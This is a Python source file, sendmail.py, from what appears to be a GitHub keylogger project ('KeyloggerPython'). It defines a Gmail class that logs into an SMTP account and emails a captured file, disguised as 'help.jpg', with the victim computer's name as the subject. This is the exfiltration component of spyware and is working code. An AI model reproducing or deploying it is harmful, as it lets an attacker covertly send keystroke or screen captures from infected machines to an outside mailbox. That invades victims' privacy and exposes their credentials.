-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathsendmail.py
32 lines (29 loc) · 1.03 KB
/
sendmail.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import os
class Gmail:
def mail(self, email, password, filepath):
fromaddr = email
toaddr = email
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = toaddr
msg['Subject'] = str(os.environ['COMPUTERNAME'])
body = "Hi, find the attachment"
msg.attach(MIMEText(body, 'plain'))
filename = "../KeyloggerPython/help.jpg"
attachment = open(filepath, "rb")
p = MIMEBase('application', 'octet-stream')
p.set_payload(attachment.read())
encoders.encode_base64(p)
p.add_header('Content-Disposition', "attachment; filename= %s" %filename)
msg.attach(p)
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
text = msg.as_string()
server.sendmail(email, email, text)
server.quit()